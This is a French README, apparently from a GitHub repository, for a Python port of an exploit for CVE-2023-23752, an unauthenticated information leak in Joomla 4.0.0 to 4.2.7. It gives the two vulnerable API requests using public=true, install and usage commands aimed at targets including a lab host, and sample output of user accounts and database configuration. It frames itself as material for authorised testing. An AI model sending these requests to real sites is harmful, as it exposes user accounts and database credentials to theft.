
Port Python de l'exploit CVE-2023-23752 — Joomla! < 4.2.8 divulgation d'informations non authentifiée (liste des utilisateurs + fuite des identifiants de base de données)
⚠️ Avertissement : Cet outil est destiné à des fins éducatives et uniquement à des tests de pénétration autorisés. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. Toute utilisation non autorisée est illégale.
Joomla! est l'un des systèmes de gestion de contenu (CMS) open source les plus utilisés. Les versions exposent deux points de terminaison API sans contrôle d'accès approprié, permettant à un attaquant de récupérer des informations sensibles : les comptes utilisateurs enregistrés et, dans des configurations vulnérables, les identifiants de la base de données du site.
La vulnérabilité a été découverte par Zewei Zhang du laboratoire NSFOCUS TIANJI et signalée au projet Joomla!, qui a publié un correctif dans la version 4.2.8. Elle a reçu l'identifiant CVE-2023-23752.
Ce dépôt contient un portage Python de l'exploit Ruby original publié par ACCEIS.
| Champ | Valeur |
|---|---|
| CVE | CVE-2023-23752 |
| Versions concernées | Joomla! 4.0.0 – 4.2.7 |
| Type | Contrôle d'accès inadéquat / Divulgation d'informations |
| Privilèges | Aucun (non authentifié) |
| Impact | Divulgation des comptes utilisateurs et des identifiants DB |
| Correctif | Joomla! 4.2.8 (publié en 2023) |
Les points de terminaison du service web de l'API REST de Joomla sont censés imposer l'authentification et les vérifications d'accès avant de renvoyer des données. Dans les versions concernées, deux points de terminaison ne parviennent pas à effectuer cette vérification correctement lorsqu'ils sont appelés avec le paramètre de requête public=true, traitant la requête comme si elle provenait d'un niveau d'accès « public » anonyme qui ne devrait exposer que des données non sensibles — mais divulguent en fait des informations internes.
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
Le script automatise les étapes suivantes :
1. Send GET request to /api/index.php/v1/users?public=true
2. Parse the JSON:API response and extract user records
3. Send GET request to /api/index.php/v1/config/application?public=true
4. Parse the JSON:API response and extract site + database configuration
5. Print both datasets to the console
Aucune authentification, session ou jeton CSRF n'est requis à aucun moment — toute l'attaque consiste en deux requêtes GET non authentifiées.
requestspip install requests --break-system-packages
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages
usage: CVE-2023-23752.py [-h] url
positional arguments:
url Base URL of the target, e.g. http://dev.devvortex.htb
options:
-h, --help show this help message and exit
python3 CVE-2023-23752.py http://127.0.0.1:4242
python3 CVE-2023-23752.py http://dev.devvortex.htb
=== Users ===
[123] Administrator (admin) - [email protected] - ['Super Users']
=== Site info ===
Site name: My Site
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
=== Database info ===
DB type: mysqli
DB host: localhost
DB user: joomla_user
DB password: ********
DB name: joomla_db
DB prefix: sd8f2_
DB encryption: 0
/api/index.php/* au niveau du serveur web ou du WAF si la mise à jour n'est pas immédiatement possible./api/index.php/v1/.